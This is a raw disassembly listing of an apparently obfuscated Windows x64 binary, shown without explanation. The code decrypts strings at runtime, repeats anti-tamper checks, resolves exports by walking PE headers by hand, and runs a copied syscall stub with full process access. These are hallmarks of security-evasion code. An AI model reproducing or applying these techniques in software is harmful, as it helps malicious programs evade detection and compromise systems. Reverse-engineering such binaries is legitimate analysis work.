cmp rax, rcx
je 0x1400187bf
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400187bf
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400187df
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
mov r8d, 0x137442a0
cmp rax, rsi
jne 0x14001889e
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001887e
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001887e
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001889e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x140018957
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018937
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018937
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018957
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x140018a01
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400189e1
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400189e1
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018a01
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x140018aba
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018a9a
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018a9a
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018aba
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov qword [rbp + 0xe58], r15
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x140018b6b
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018b4b
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018b4b
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018b6b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x140018c24
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018c04
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018c04
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018c24
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.140023ffc
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x140018cf6
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018cd6
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018cd6
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018cf6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov edi, r15d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x140018ff1
xor r14d, r14d
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x140018dc0
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x3e9025c8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x137442a0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400190a9
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400190a9
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400190a9
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.140013d90
mov r15d, eax
mov rcx, qword gs:[0x48]
movabs r8, 0xea6d55ec6d6fb000
cmp rcx, rsi
jne 0x140018e76
mov rcx, qword gs:[0]
xor rcx, r8
mov qword [rbp + 0x1070], rcx
mov rcx, qword gs:[0]
xor rcx, r8
mov qword [rbp + 0x1078], rcx
mov rcx, qword gs:[0]
xor rcx, r8
mov qword [rbp + 0x1080], rcx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x1400190c9
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x1400190c9
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x1400190c9
test r15d, r15d
jne 0x140019129
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x140018f1a
mov rax, qword gs:[0]
mov ecx, 0xb505ee60
xor rax, rcx
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[0]
xor rax, rcx
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[0]
xor rax, rcx
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x1400190e9
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x1400190e9
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x1400190e9
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x140018fce
mov rax, qword gs:[0]
xor rax, r8
mov qword [rbp + 0xf60], rax
mov rax, qword gs:[0]
xor rax, r8
mov qword [rbp + 0xf68], rax
mov rax, qword gs:[0]
xor rax, r8
mov qword [rbp + 0xf70], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x140019109
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x140019109
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x140019109
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x140018d17
xor r15d, r15d
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x140022e55
mov rax, qword gs:[0]
movabs rcx, 0xea6d55ec6d6fb000
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019089
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019089
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022e55
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.140089778
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0xa6830a0d
mov dword [rbp + 0x214], 0x9d28e56
mov dword [rbp + 0x218], 0xa2b62bb2
mov word [rbp + 0x21c], Ordinal_211
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x1a2e6bfe8
movabs r9, 0x1545b7bed5
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x2a8b6f7daa
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x210], dil
inc r8
add r9, r13
add r10, 0xd
cmp r9, r11
jb 0x1400191cc
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0x9ba5d25a
mov dword [rbp + 0x84], 0x6052c7e2
mov word [rbp + 0x88], 0xaa
mov r8, r14
movabs r9, 0xeba1cbf31
mov r10d, 9
movabs r11, 0x1d74397e62
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r13
add r10, 9
cmp r9, r11
jb 0x14001926a
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x1400194f3
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400194f3
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400194f3
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400194f3
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x1400194f3
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140019365
inc rax
test edi, edi
jne 0x140019350
test r8d, r8d
je 0x140019377
inc rdx
cmp rdx, rsi
jb 0x14001933f
jmp 0x1400194f3
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400194f3
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x1400194f0
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.1400827b0
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.140024a64
lea rcx, [rbp + 0x7420]
call fcn.140023ffc
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.140023ffc
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x140019405
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400ac230
mov dword [0x1400d4524], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400d4520]
movsd qword [rdi], xmm0
movzx eax, word [0x1400d4528]
mov word [rdi + 8], ax
mov al, byte [0x1400d452a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400ac8d0
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400d4524], r14d
test edi, edi
js 0x140019506
jmp 0x1400194f3
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x14001951c
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.140013858
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
mov ebx, 0xa8712bc0
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x48]
ja 0x140022ac2
cmp rax, rbx
jne 0x1400195eb
mov rcx, qword gs:[0]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x3e9025c8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x137442a0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400195cb
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400195cb
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400195eb
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
movdqa xmm0, xmmword [0x1400c8ca0]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400c8b80]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0x5b3a9409
mov word [rbp + 0xbc4], 0xcd90
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
movabs rbx, 0x1a2e6bfe8
lea r10d, [rax + 0x26]
movabs r9, 0x3e2e407c96
lea r15d, [rax + 1]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba0], dil
add r8, r15
add r9, r13
add r10, 0x26
movabs rax, 0x7c5c80f92c
cmp r9, rax
jb 0x14001964f
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.14000131c
mov rax, qword gs:[0x48]
mov ebx, 0xa8712bc0
mov esi, 0xb505ee60
cmp rax, rbx
jne 0x14001977d
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001975d
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001975d
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001977d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140089778
int3
call fcn.140013ab8
mov rcx, qword gs:[0x48]
test al, al
jne 0x140019b30
cmp rcx, rbx
jne 0x140019847
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x3e9025c8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x137442a0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019827
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019827
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019847
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
movdqa xmm0, xmmword [0x1400c8ce0]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], 5
mov r10, r14
mov r11, r12
movabs rsi, 0x8080808080808081
movabs r8, 0x1bd152be79
movabs r9, 0x37a2a57cf2
mov cl, r10b
and cl, 7
shl cl, 3
movabs rdi, 0x1a2e6bfe8
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
add r10, r15
add r8, r13
add r11, r12
cmp r8, r9
jb 0x140019884
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x1400c8cf0]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1400c89d0]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
mov esi, 0xb505ee60
movabs rbx, 0x1a2e6bfe8
mov r9d, Ordinal_33
movabs r10, 0x32b9f13d37
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xaf8]
xor dil, r8b
mov byte [rbp + r8 + 0xaf8], dil
add r8, r15
add r10, r13
add r9, 0x1f
movabs rax, 0x6573e27a6e
cmp r10, rax
jb 0x14001993a
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x48]
mov ebx, 0xa8712bc0
cmp rax, rbx
jne 0x140019a82
mov rax, qword gs:[0]
movabs rcx, 0xea6d55ec6d6fb000
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019a62
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019a62
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019a82
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, rbx
jne 0x14002344e
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019b10
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019b10
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002344e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
cmp rcx, rbx
jne 0x140019bd1
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019bb1
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019bb1
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019bd1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
movdqa xmm0, xmmword [0x1400c8ac0]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rsi, 0x8080808080808081
movabs rbx, 0x1a2e6bfe8
movabs r9, 0x1a2e6bfe90
lea r10d, [rax + 0x10]
movabs r11, 0x345cd7fd20
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x248], dil
add r8, r15
add r9, r13
add r10, 0x10
cmp r9, r11
jb 0x140019c18
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.1400138a8
mov rcx, qword gs:[0x48]
mov ebx, 0xa8712bc0
cmp rcx, rbx
jne 0x140019d49
mov rcx, qword gs:[0]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x3e9025c8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x137442a0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019d29
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019d29
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019d49
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140089778
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140019ede
movdqa xmm0, xmmword [0x1400c8ce0]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], 5
mov r10, r14
movabs r8, 0x1bd152be79
mov r11, r12
movabs rbx, 0x1a2e6bfe8
movabs r9, 0x37a2a57cf2
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3f8], dil
add r10, r15
add r8, r13
add r11, r12
cmp r8, r9
jb 0x140019db3
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400c8d10]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1400c8b60]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0xd1b4
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb78], dil
add r8, r15
add r9, r13
add r10, 0x22
movabs rax, 0x6f454af9e4
cmp r9, rax
jb 0x140019e4e
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r15d
call fcn.140089778
int3
